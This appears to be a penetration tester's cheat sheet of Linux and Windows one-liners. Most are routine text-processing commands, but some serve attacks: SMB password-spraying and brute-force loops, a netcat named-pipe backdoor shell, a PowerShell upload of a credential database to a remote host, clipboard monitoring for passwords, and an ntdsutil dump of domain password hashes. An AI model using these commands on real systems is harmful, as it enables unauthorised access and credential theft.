Command

Purpose

GREENIE=haha; export GREENIE

Create an environment var, then export var to be available to other programs

sort | uniq -c | sort -n

Takes stdin, sorts it, finds out the count of each unique value, then sorts by number

cat squid_access.log | sort -k 2 | head

Using the sort -k parameters sorts on the second colmun of the output

wc -l [lines]

wc -c [bytes]

wc -w [words]

Count lines/bytes/words in a file or from stdin

awk ‘{print $1,$4}’

Print characters 1 and 4 (not zero indexed) from stdin

awk '{print $(NF-1)}'

print the 2nd to last column

awk '{ sum += $1 } END { print sum }'

Takes the lines from a file/stdin and adds up the values, quick and dirty calculator in terminal

cat peptides.txt | while read line; do echo $line; done

read in lines from peptides.txt, then perform echo for each line. Useful to loop through commands for a list of items

cat users.txt | while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done

Password spraying using a bash loop

for i in {1..5}; do echo $i; done

Loops from 1 to 5 and echos for each value of i

for i in {000..999}; do echo KEY-HAHA-$i; done

Creates a list of all values from KEY-HAHA-000 to KEY-HAHA-999

sed ‘s/12/13/g’

Replace 12 with 13 found anywhere in stdin, will replace 1234 with 1334

sed -i.bak '/line to delete/d' *

Delete a line of text for all files in a directory

xxd -p

Print the hex of stdin or a file only, no hexdump format

xxd -r

Interpret raw hex from stdin, can redirect to save the hex to a file

tr -d '\r' | tr -d '\n' | xxd -r -p

Takes hex input, removes newlines, and places into a file

find / -user Matt 2>/dev/null

Find all files owned by Matt on the box, redirects stderr to null

grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"

grep with regex to match any valid IP address (yes it's ugly)

curl -d “param1=value&param2=value” https://example.com/resource.cgi

Send parameters with curl

date -d @1286536308

convert an epoch timestamp to date output

mknod backpipe p; /bin/bash 0<backpipe | nc -l -p 8080 1>backpipe

Create netcat backdoor without -e support. Generates a named pipe to funnel data

Command

Purpose

get-childitem -hidden

See all files in current dir

certutil -hashfile ntds.dit md5

Hash a file

certutil -encodehex ntds.dit ntds.hex

Encode a file as hex

certutil -encode test.jpg test.base64

certutil -decode test.base64 test.jpg

Encode and decode a file as base64

@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\SERVERIP\IPC$ > NUL

Dirty looping command to gather a list of users and passwords to bruteforce a server on SMB

Invoke-RestMethod -Uri http://10.10.14.28:8000/ -Method Post -InFile copy_cert9.db -UseDefaultCredentials

Sends the file to a server, catch the file on the other end

iwr -uri http://10.10.14.27/SharpHound.ps1 -outfile SharpHound.ps1

Download a file from another machine

$x=""; while ($true) { $y=get-clipboard -raw; if ($x -ne $y) { write-host $y; $x=$y } }

Powershell - monitors the clipboard and prints to the screen as items are placed on it (passwords!!)

ntdsutil

activate instance ntds

ifm

create full C:\ntds

quit

quit

Use built-in ntdsutil tool to obtain the SYSTEM registry and hive data as a backup, contains user hashes to crack